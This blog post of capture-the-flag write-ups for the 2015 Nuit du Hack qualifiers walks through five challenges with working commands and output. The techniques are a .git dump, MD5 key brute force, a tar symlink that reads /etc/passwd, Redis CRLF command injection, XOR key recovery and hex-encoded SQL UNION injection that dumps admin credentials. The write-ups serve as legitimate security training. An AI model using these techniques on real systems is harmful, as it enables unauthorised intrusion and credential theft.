CTF NDH Qualifications
Posted on 07 Apr 2015 in Security • 12 min read
This weekend (4 April 2015) take place the qualification round for "Nuit du Hack" CTF from 00:01 to 23:59. It was a Jeopardy CTF.
I have participated with the Zenk-Security team. At the end we got the 7th position and are qualified for the final which would be a Attack-Defense CTF in Paris in June.
I publish here the ones for the challenges I participated to and make a writeup of. All the writeup for this CTF are accessible here (in french).
This article is a bit long, so here is the list of the available writeup :
Menu:
FaceBox
Web | 100 points | quals.nuitduhack.com/challenges/view/10
prod.facebox.challs.nuitduhack.com/
Statement
*A shady company decided to write their own software for storing files in the cloud.
"No no no, this is OUR filebox. We decline any responsability in the usage of our filebox. In any event your files get lost, trashed, stolen or spy on : it's your fault, not ours."
You are investigating on the security of their cloud storage as it might have disastrous consequences if it were to get hacked by malicious actors.*
Challenge
The website prod.facebox.challs.nuitduhack.com allow us to create an account and log ourself. Then we can upload files on the server both in public and private mod. In this case the link to the file is hide to the other users.
File Upload
We tried to upload files and execute some code on the server. It was a waste of time. Then we think that if there was a prod, there should also be a dev.
dev
With dev.facebox.challs.nuitduhack.com/ we found a git project with the following tree:
dev.facebox.challs.nuitduhack.com/.git/config
dev.facebox.challs.nuitduhack.com/.git/COMMIT_EDITMSG
dev.facebox.challs.nuitduhack.com/.git/HEAD
dev.facebox.challs.nuitduhack.com/.git/refs/heads/master
dev.facebox.challs.nuitduhack.com/.git/logs/
The page dev.facebox.challs.nuitduhack.com/.git/COMMIT_EDITMSG show the last commit messages: hash generation function
We can easily retrieve all files on this repository with rip-git.pl
:
https://github.com/ctfs/write-ups-2014/tree/master/9447-ctf-2014/tumorous
https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-git.pl
A bit of python
With rip-git.pl
we found the python script that generate the link of the
uploaded files:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
def generate_random_filename(user_id,filename):
dbuser = users.query.filter_by(id=user_id).first()
if dbuser.privkey is not None:
return md5(str(dbuser.privkey)+filename).hexdigest()
else:
privkey = str(randint(10000000,99999999))
upd = users.query.filter_by(id=user_id).first()
upd.privkey = privkey
db.session.commit()
return md5(str(privkey)+filename).hexdigest()
Private file
We have been asked to test the application security. The private file access seems a interesting vulnerability. The first two files were probably upload by the staff. Then we will try to get the confidentials.txt file upload by the user koffi. Hopfuly a second file was upload by this user: paste1.txt at the address prod.facebox.challs.nuitduhack.com/files/view/3686d78a6e9d5258773a6ae0469d3ed4
In order to find the private key of the koffi user, we quickly inverse the previous script and we brute force the private key in order to found the good link with the url of the paste1.txt file:
import hashlib
for i in range(10000000,100000000):
if((i % 10000000) == 0):
print "%d" % (i)
if(hashlib.md5(str(i)+"paste01.txt").hexdigest() == "3686d78a6e9d5258773a6ae0469d3ed4"):
print "privkey found: %d" % (i)
print "Done!"
Result: privkey found: 95594864
With this private key we applied the algorithm to the crendentials.txt file:
import hashlib
def generate_random_filename(user_id,filename):
privkey = 95594864
print(hashlib.md5(str(privkey)+filename).hexdigest())
if __name__ == "__main__":
generate_random_filename("koffi", "confidentials.txt")
Result: 35e2cb0b2e8bd40347ecd4e32767a060
We have the complete url to access the private file: prod.facebox.challs.nuitduhack.com/files/view/35e2cb0b2e8bd40347ecd4e32767a060
Flag: M4x_M4i5_DR
FaceSec
Web | 100 points | quals.nuitduhack.com/challenges/view/11
facesec.challs.nuitduhack.com/
Statement
*"Hello there,
We are looking for a developer or security consultant to secure our filebox system. We stumbled upon your LinkedIn profile and it seems like you would be a perfect candidate for this job. Could you please send us your CV and Motivation letter?
Thanks,
faceSec HR Director."*
Challenge
This challenge allow us to register an account and then upload text file as resume and motivation letter in order to apply for a job. We can also upload a compressed file (tar) with a cv.txt and a motiv.txt in order to upload both files at the same time.
This challenge looks like the Facebook vulnerability discover last December: http://josipfranjkovic.blogspot.fr/2014/12/reading-local-files-from-facebooks.html nevertheless we must upload a .tar file instead of a .zip file.
A bit of symbolic link
We create a cv.txt
file with a symbolic link to /etc/passwd
and a
motiv.txt
file with random content and then tar the two files:
ln -s /etc/passwd cv.txt
echo plop > motiv.txt
tar cvf tar.tar *.txt
cv.txt
motiv.txt
We upload the file tar.tar
and we get as excepted the /etc/passwd
file from
the server:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List
Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats
Bug-Reporting System (admin):/var/lib/gnats:/bin/s)
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
facesec:x:1000:1000:W00tSymL1nkAttackStillW0rksIn2k15:/home/facesec:/bin/sh
The flag is the content of the User ID Info
of the facesec user.
Flag: W00tSymL1nkAttackStillW0rksIn2k15
SecureAuth
Thank to Spl3en who redacte this writeup before me.
Exploit | 350 points | quals.nuitduhack.com/challenges/view/16
Statement
*"There is a building. Inside this building there is a level where no elevator can go, and no stair can reach. This level is filled with doors. These doors lead to many places. Hidden places. But one door is special. One door leads to the source." (The Keymaker)
Find the key. Open the door. Static client @ static.challs.nuitduhack.com/SecureAuthClient.tar.gz*
Challenge
The tar.gz file contain the following python program:
import socket
from hashlib import sha256
class SecureConnect_Client():
def __init__(self):
self.sock = None
self.username = None
self.password = None
def connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect(("151.80.18.93", 4241))
def login(self, username, password):
self.username = username
self.password = password
challenge = self.get_challenge()
authpacket = self.process_authpacket(username, password, challenge)
print "[~] Sending auth packet..."
self.sock.sendall(authpacket)
def get_challenge(self):
data = self.sock.recv(1024)
if data[:9] == "CHALLENGE":
print "[~] Server sent challenge : %s !" % data[10:-1]
return data[10:-1]
raise Exception("Bad challenge...")
def process_authpacket(self, username, authtoken, challenge):
packet = "AUTH %s|%s" % (username, sha256(sha256(authtoken).hexdigest() + challenge).hexdigest())
print "[+] Auth data : %s" % packet
return packet
def get_response(self):
print self.sock.recv(1024)
print self.sock.recv(1024)
def close(self):
self.sock.close()
if __name__ == "__main__":
scc = SecureConnect_Client()
scc.connect()
scc.login("username", "password")
scc.get_response()
scc.close()
We execute the code:
spl3en@box:~$ python SecureAuthClient.py
[~] Server sent challenge : gOg0gySNyDbKCKD5oT6SLEdG4fEgkNXntk5uQ1m1XtZzIvMT62bcqMgmB6ei5HVI !
[+] Auth data : AUTH username|7b98c028fc42ee7bc830948b036571f8327279b6929b4f598891ed608edbfbd9
[~] Sending auth packet...
[!] Authentification Error : Invalid username.
[-] Bad password or authentification error... !
admin
By replacing username
by admin
we got a different message allowing us to
think that we got the right user:
spl3en@box:~$ python SecureAuthClient.py
[~] Server sent challenge : GRlJD0cTH7RQFPQ5TUNQRQZVmLrxejFNsDPYFF0LWZKvBJLvFwAvN0YDPvU9AMGV !
[+] Auth data : AUTH admin|febb7f8cec097ba5636da95ded1b019030483436385584297bbf64e1bf828acb
[~] Sending auth packet...
[+] Welcome Administrator we are verifying your password...
[-] Bad password or authentification error... !
Errors
Moreover, when playing with the username value, for instance by putting
username"
we got the following message:
spl3en@box:~$ python SecureAuthClient.py
[~] Server sent challenge : uJ2A8UE1WMwYCgWDmOMZSVirPWQoxhWAVeECAwWOVUxXD9q6qqvqGPSpolKr5KX1 !
[+] Auth data : AUTH username'|a932aed6531ebf37074484e10611499007dadd6c42f69649a242302c09245792
[~] Sending auth packet...
[!] Authentification Error : Valid response code but no user data received : -ERR Protocol error: unbalanced quotes in request
[-] Bad password or authentification error... !
Redis
The error unbalanced quotes in request
seems to be from a Redis server, a
NoSQL engine. We can see this precise error in the
networking.c
file
of the project.
We replace the username with admin\x0A\x0D
in order to finish the command and
obtain :
spl3en@box:~$ python SecureAuthClient.py
[~] Server sent challenge : OFJUOFLbDdR49FHeNMUH4FX7VFIUPxiASDKIaXpZvtIELU3Yo333ICcUmIZFfVWB !
[+] Auth data : AUTH username |e72fd1858578774bfbee00196992db55f7697833746053a2390a73f4616c60da
[~] Sending auth packet...
[+] Welcome -ERR unknown command ':name' we are verifying your password...
[-] Bad password or authentification error... !
We notice the prefix :name
which have been interpreted as a second command.
Command injection
We try to inject Redis commands like INFO
by
replacing the username with admin\x0A\x0DINFO\x0A\x0D
:
spl3en@box:~$ python SecureAuthClient.py
[~] Server sent challenge : JrLFTYYrDxYibypIBzkdmALAzDCoYe9olBMEZ2OXEDuqsrFFISLzLhWMkeFOdRCB !
[+] Auth data : AUTH admin
INFO
|30247cdea2397657332d6f35b4c2a4340b83e3a842a17119704f31185a41cbe3
[~] Sending auth packet...
[+] Welcome -ERR unknown command 'INFO' we are verifying your password...
[-] Bad password or authentification error... !
The INFO
commend is not recognize. After several tests, we see that all
commands but GET
seems filtrated. We suppose that the one used to get the
username and the password in the NoSQL database. With
The requests on the server should be something like:
username = GET <user>:name
password = GET <user>:password
We try to inject admin:password\x0A\x0D
in the username, that will give us:
username = GET admin:password\x0A\x0D:name
password = GET admin:password\x0A\x0D:password
(The name and password at the end of each line would not be interpreted).
We execute the program with admin:password\x0A\x0D
as a username:
spl3en@box:~$ python SecureAuthClient.py
[~] Server sent challenge : DsHn1UJH7LjPSpVOIuZwh7QUgEZ1qGXnK8sHxBYnSTsaWNdVYDvHG5UCPTrvL2AJ !
[+] Auth data : AUTH admin:password
|606611cc808eabd5e38bed8e21360b52127f3e2cecbf02413c3da90fa43c71a3
[~] Sending auth packet...
[+] Welcome 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529 we are verifying your password...
[-] Bad password or authentification error... !
As excepted the server show us the username that we replace by its hashed
password. We get the sha256(admin_passwd)
:
837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529
.
We replace the corresponding python code to directly send the hash:
packet = "AUTH %s|%s" % (username, sha256(sha256(authtoken).hexdigest() + challenge).hexdigest())
Become:
packet = "AUTH %s|%s" % (username, sha256("837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529" + challenge).hexdigest())
We execute the script:
spl3en@box:~$ python SecureAuthClient.py
[~] Server sent challenge : elQQpNHPDlDk1FO9RUiqDfUyUBRpFGMJ5NuBkGTGnGVYW9SCRluSYlcNQnJYkSHP !
[+] Auth data : AUTH admin:password
|8baf1cc43bbe6316ed5959cd8efd2fd8f23d9bae441d4a8134277cd973fcaec4
[~] Sending auth packet...
[+] Welcome 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529 we are verifying your password...
[+] Congrats. The flag is : *INSERT_FUNNY_QUOTE_HERE*
Flag: *INSERT_FUNNY_QUOTE_HERE*
Updator
Exploit | 200 points | quals.nuitduhack.com/challenges/view/9
updator.challs.nuitduhack.com/
Statement
*Unhackable : "Not hackable; that cannot be hacked or broken into."
We manage updates and thus have fixes, this is not a PS3 as it is unhackable… or is it?*
Challenge
The website is a simple page with a login interface for witch we do not have any credentials and a Update button. When clicking on the button we got the following message from the page updator.challs.nuitduhack.com/update.py: The update managing system is still under construction but will be available soon.
robots.txt
The file robots.txt
reveal the folder temp/:
Disallow: temp/*
In this folder we found a file log.py.encrypted
. How can we decipher it ?
pyc
The Update button call a update.py
file therefor we can try for the
compiled version of it with the .pyc extension as confirmed by the page
updator.challs.nuitduhack.com/update.pyc
We must decompile this file, we will use uncompyle2. The output is the following python program:
import config
import sys
KEY = config.KEY
def xor(*args):
if len(args) < 2:
sys.exit(0)
length = len(args[0])
for arg in args:
if len(arg) != length:
sys.exit(0)
length = len(arg)
cipher = args[0]
for arg in args[1:]:
cipher = ''.join([ chr(ord(arg[i]) ^ ord(cipher[i])) for i in range(len(arg)) ])
return cipher
class Crypto:
@staticmethod
def encrypt(file):
with open(file, 'r') as fd:
content = fd.read()
content = content.ljust(len(content) + (8 - len(content) % 8), '0')
blocks = [ content[i * 8:(i + 1) * 8] for i in range(len(content) / 8) ]
with open('%s.encrypted' % file, 'w') as fd:
encrypted = []
for i in range(len(blocks)):
if i == 0:
encrypted.append(xor(KEY, blocks[i]))
else:
encrypted.append(xor(KEY, blocks[i], encrypted[i - 1]))
fd.write(''.join(encrypted))
@staticmethod
def decrypt(file):
with open(file, 'r') as fd:
content = fd.read()
blocks = [ content[i * 8:(i + 1) * 8] for i in range(len(content) / 8) ]
with open('.'.join(file.split('.')[:-1]), 'w') as fd:
plain = []
for i in range(len(blocks)):
if i == 0:
plain.append(xor(KEY, blocks[i]))
else:
plain.append(xor(KEY, blocks[i], blocks[i - 1]))
fd.write(''.join(plain).rstrip('0'))
print 'Content-Type: text/html'
print '\n<!DOCTYPE html>\n<html>\n <head>\n <meta charset="UTF-8">\n <title>Updator - Update system</title>\n <link rel="stylesheet" href="static/font-awesome/css/font-awesome.css">\n <link rel="stylesheet" href="static/css/style.css">\n </head>\n <body>\n <div id="info">\n The update managing system is still under construction but will be available soon.\n </div>\n </body>\n</html>\n'
</code>
The private key
We know the algorithm use to encrypt the log.py.encypted
file: a XOR cipher by
bloc of 8 characters where the preceding bloc is also XOR with the current one.
We just need the key. Bruteforcing 8 characters will be too long, we need an
other method. The log.py.encypted
file being python code will probably start
by something like import sys
.
First of all lets take a closer look to log.py.encrypted
:
[maggick@rootine updator]$ hexdump -C log.py.encrypted
00000000 5f 36 30 0b 03 56 06 17 08 19 15 1b 1b 19 45 6e |_60..V........En|
00000010 34 0e 1a 38 35 7f 2a 4f 22 68 7a 7b 28 32 6b 4f |4..85.*O"hz{(2kO|
00000020 33 39 30 7c 35 71 3e 4f 25 2e 1f 7f 23 36 6a 14 |390|5q>O%...#6j.|
00000030 3a 4f 55 11 72 34 6c 47 4c 67 61 14 77 7f 29 59 |:OU.r4lGLga.w.)Y|
00000040 1f 48 49 1f 62 57 2f 0a 09 33 6d 1e 75 55 65 16 |.HI.bW/..3m.uUe.|
00000050 58 40 58 09 61 05 2d 04 03 7e 34 4d 60 46 78 04 |X@X.a.-..~4M`Fx.|
00000060 42 4a 06 4d 38 5e 54 57 54 31 66 09 69 5c 52 46 |BJ.M8^TWT1f.i\RF|
00000070 03 19 43 03 79 13 11 15 08 62 24 42 7b 1e 12 15 |..C.y....b$B{...|
00000080 61 1c 17 01 2a 19 14 4e 1b 08 10 3a 1f 72 60 11 |a...*..N...:.r`.|
00000090 0d 20 24 2c 46 34 27 16 5e 0f 0d 25 52 38 65 04 |. $,F4'.^..%R8e.|
000000a0 1c 31 63 35 4c 7e 22 0e 02 43 0a 7d 1d 29 77 18 |.1c5L~"..C.}.)w.|
000000b0 46 76 2b 74 09 22 5b 4b 50 0d 4b 30 58 20 5d 4f |Fv+t."[KP.K0X ]O|
000000c0 0f 22 63 74 46 72 1e 52 11 1b 42 63 52 3e 59 4c |."ctFr.R..BcR>YL|
000000d0 42 6c 22 20 42 37 58 16 54 56 11 64 55 71 44 6f |Bl" B7X.TV.dUqDo|
000000e0 42 2d 71 20 04 73 42 3c 54 56 11 64 13 35 4a 38 |B-q .sB<TV.d.5J8|
000000f0 10 64 25 65 4a 30 37 6e 55 62 45 4d 54 75 78 73 |.d%eJ07nUbEMTuxs|
00000100 43 4e 6c 5d 4d 77 2e 61 06 66 5b 56 4e 31 28 37 |CNl]Mw.a.f[VN1(7|
00000110 43 61 75 15 1f 36 2e 6c 06 4e 47 59 0a 75 7c 7a |Cau..6.l.NGY.u|z|
00000120 44 7c 6a 58 55 33 3b 7d 17 53 43 51 41 3f 69 61 |D|jXU3;}.SCQA?ia|
00000130 45 69 7a 1d 19 34 63 32 03 53 49 0a 1f 79 37 25 |Eiz..4c2.SI..y7%|
00000140 1c 21 03 5e 5e 6b 21 66 |.!.^^k!f|
00000148
XOR being a symmetric algorithm we just need to XOR the first octet of the file
with the word import s
:
>>> chr(0x5f^ord('i'))
'6'
>>> chr(0x36^ord('m'))
'['
>>> chr(0x30^ord('p'))
'@'
>>> chr(0x0b^ord('o'))
'd'
>>> chr(0x03^ord('r'))
'q'
>>> chr(0x56^ord('t'))
'"'
>>> chr(0x06^ord(' '))
'&'
>>> chr(0x17^ord('s'))
'd'
We decipher the file with the key 6[@dq"&d and obtain the following first line:
import satetime
The first line of our file was not import sys
but import datetime
.
>>> chr(0x17^ord('d'))
's'
The logs file
We decipher the file with the key 6[@dq"&s and obtain the following file:
import datetime
LOG_DIR = 'logs'
class Logger():
@staticmethod
def log(username, password):
basename = '%s/%s_%s' % (LOG_DIR, str(datetime.date.today()), username)
with open(basename, 'a+') as fd:
fd.write('[%s] Login with password %s\n' % (str(datetime.datetime.today()), password))
We see that the logs of the application are in a file like
/logs/date_username/
with the date in the format YYYY-MM-DD.
We go to the URL updator.challs.nuitduhack.com/logs/2015-04-04_admin to see the logs:
[2015-04-04 18:49:48.839448] Login with password Mpt2P4sse2Ouf
[2015-04-04 18:49:54.044382] Login with password Mot2P4sse2Ouf
We now have the credentials to log ourself in the interface and get the flag.
Flag: zEpbiUFt5p7m84cxOxN6
Raptor
Thank to Plo who redact this WRITUP before me.
Misc \ 400 points quals.nuitduhack.com/challenges/view/12
Statement
No statement, nothing except a link: raptor.challs.nuitduhack.com:4142
Challenge
We connect ourself to the port and the address:
[plo@hyperion Misc]$ nc raptor.challs.nuitduhack.com 4142
~ » Welcome to the Raptor/1.0 Information Exchange Server
~ » You are anonymous - Read only access !
Available commands :
+----------+-----------------+-------------------------------+--------------------------------+
| Command | Required Access | Syntax | Help |
+----------+-----------------+-------------------------------+--------------------------------+
| AUTH | guest | AUTH [login] [password] | Connect to an account |
| LIST | user | LIST [maxrecords] | List users informations |
| SEARCH | user | SEARCH [pattern] [maxresults] | Search an user |
| RSHELL | admin | RSHELL | Migrate to Raptor Shell |
| VERSION | guest | VERSION | Show current Raptor version |
| REGISTER | guest | REGISTER | Register a new account |
| HELP | guest | VERSION | Show this help menu |
| RIGHTS | guest | RIGHTS | Print your current rights |
| HISTORY | user | HISTORY | Show your call history |
| RESET | guest | RESET | ROLLBACK ! (Reset the CTF DB.) |
| QUIT | guest | QUIT | Close the connection. |
+----------+-----------------+-------------------------------+--------------------------------+
We are connected to the Raptor service as guest.
The output format seems to be a database. A SQL request could return this
output. The Raptor service got 3 level of rights: guest, user and admin and the
only command restricted to the admin right is RSHELL
. When continuing to
discover the commands, we notice that the _
and %
SQL wildcards characters
work directly out of the box:
guest ~ $ SEARCH %
+-----------+---------------+-----------+--------+
| FIRSTNAME | LASTNAME | DESKPHONE | RIGHTS |
+-----------+---------------+-----------+--------+
| Wesley | Eshmaggle | 4412 | admin |
| Yvan | Delacam | 0452 | user |
| Yvon | Payrir | A | user |
| Zlatan | Ibrahimovitch | 5122 | user |
+-----------+---------------+-----------+--------+
guest ~ $ SEARCH _
+-----------+---------------+-----------+--------+
| FIRSTNAME | LASTNAME | DESKPHONE | RIGHTS |
+-----------+---------------+-----------+--------+
| Wesley | Eshmaggle | 4412 | admin |
| Yvan | Delacam | 0452 | user |
| Yvon | Payrir | A | user |
| Zlatan | Ibrahimovitch | 5122 | user |
+-----------+---------------+-----------+--------+
Moreover, the user Yvon Payrir as a DESKPHONE A. We create an account to check if we can put directly a letter as DESKPHONE:
guest ~ $ REGISTER
Please fill the informations below :
Login : a
Firstname : a
Lastname : a
Contact (DESK PHONE) : TEST
/!\ ERROR ! INVALID DESKPHONE NUMBER !
This is not directly possible, we then used the hexadecimal value of TEST:
guest ~ $ REGISTER
Please fill the informations below :
Login : a
Firstname : a
Lastname : a
Contact (DESK PHONE) : 0x54455354
Password : zenk
Encrypting using 128x(ROT13) ......HAAAAAAAAX......
Password encryption done ! (Security First) !
guest ~ $ SEARCH %
+-----------+---------------+-----------+--------+
| FIRSTNAME | LASTNAME | DESKPHONE | RIGHTS |
+-----------+---------------+-----------+--------+
| a | a | TEST | user |
| Wesley | Eshmaggle | 4412 | admin |
| Yvan | Delacam | 0452 | user |
| Yvon | Payrir | A | user |
| Zlatan | Ibrahimovitch | 5122 | user |
+-----------+---------------+-----------+--------+
(We can notice that the password is "Encrypted" with 128 ROT13 which is plain text as ROT13 is symmetric). We can inject anything in the DESKPHONE filed.
One of the command is HISTORY
. This command list the calls history for a given
user. The coincidence is great as we can inject data in the DESKPHONE field:
a ~ $ HISTORY
RAPTOR CALL REPORTING
- CLIENT INFO :
+-----------+------+
| USERNAME | a |
| RIGHTS | user |
| DESKPHONE | TEST |
+-----------+------+
If we put an existing number as DESKPHONE, the HISTORY
command show us the
history of an other user. It seems to be a simple SQL injection in hexadecimal.
We try to get some informations about the database (the SQL command is in the
DESKPHONE filed):
guest ~ $ REGISTER
Please fill the informations below :
Login : d
Firstname : d
Lastname : d
Contact (DESK PHONE) : 0x3120554e494f4e2053454c454354207461626c655f736368656d612c7461626c655f6e616d652c636f6c756d6e5f6e616d652c6e756c6c2046524f4d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73
Password : zenk
Encrypting using 128x(ROT13) ......HAAAAAAAAX......
Password encryption done ! (Security First) !
d ~ $ HISTORY
RAPTOR CALL REPORTING
- CLIENT INFO :
+-----------+-----------------------------------------------------------------------------------------+
| USERNAME | d |
| RIGHTS | user |
| DESKPHONE | 1 UNION SELECT table_schema,table_name,column_name,null FROM information_schema.columns |
+-----------+-----------------------------------------------------------------------------------------+
- CALL HISTORY
+--------------------+---------------------------------------+----------------------------------+----------+
| ID | DATE | DESTINATION | DURATION |
+--------------------+---------------------------------------+----------------------------------+----------+
| information_schema | CHARACTER_SETS | CHARACTER_SET_NAME | None |
| [...] | [...] | [...] | None |
| x_8816665166 | users | id | None |
| x_8816665166 | users | firstname | None |
| x_8816665166 | users | name | None |
| x_8816665166 | users | contact | None |
| x_8816665166 | users | password | None |
| x_8816665166 | users | login | None |
| x_8816665166 | users | rights | None |
+--------------------+---------------------------------------+----------------------------------+----------+
We get the admin password:
guest ~ $ REGISTER
Please fill the informations below :
Login : i
Firstname : i
Lastname : i
Contact (DESK PHONE) : 0x3120554e494f4e2053454c454354206c6f67696e2c70617373776f72642c7269676874732c6e756c6c2046524f4d207573657273205748455245207269676874733d2761646d696e27
Password : i
Encrypting using 128x(ROT13) ......HAAAAAAAAX......
Password encryption done ! (Security First) !
i ~ $ HISTORY
RAPTOR CALL REPORTING
- CLIENT INFO :
+-----------+---------------------------------------------------------------------------+
| USERNAME | i |
| RIGHTS | user |
| DESKPHONE | 1 UNION SELECT login,password,rights,null FROM users WHERE rights='admin' |
+-----------+---------------------------------------------------------------------------+
- CALL HISTORY
+-------------+------------+-------------+----------+
| ID | DATE | DESTINATION | DURATION |
+-------------+------------+-------------+----------+
| w.eshmaggle | Hanlbatard | admin | None |
+-------------+------------+-------------+----------+
We login as the admin user and user the RSHELL
command:
guest ~ $ AUTH w.eshmaggle Hanlbatard
Welcome w.eshmaggle !
w.eshmaggle ~ $ RSHELL
Ok, ok good job. You are admin... The flag is : 0eb80d9c2cdee95b461cf0b70d40791f
Flag: 0eb80d9c2cdee95b461cf0b70d40791f